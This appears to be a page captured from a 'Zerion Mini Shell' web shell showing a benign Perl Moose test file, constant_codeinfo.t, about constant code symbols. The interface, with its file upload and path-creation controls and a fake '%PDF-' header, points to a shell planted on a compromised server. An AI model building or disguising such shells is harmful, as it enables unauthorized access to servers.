%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /usr/share/doc/perl-Moose-2.1005/t/cmop/
Upload File :
Create Path :
Current File : //usr/share/doc/perl-Moose-2.1005/t/cmop/constant_codeinfo.t

use strict;
use warnings;
use Test::More;

use Class::MOP;

{
    package Foo;
    use constant FOO => 'bar';
}

my $meta = Class::MOP::Class->initialize('Foo');

my $syms = $meta->get_all_package_symbols('CODE');
is(ref $syms->{FOO}, 'CODE', 'get constant symbol');

undef $syms;

$syms = $meta->get_all_package_symbols('CODE');
is(ref $syms->{FOO}, 'CODE', 'constant symbol still there, although we dropped our reference');

done_testing;

Zerion Mini Shell 1.0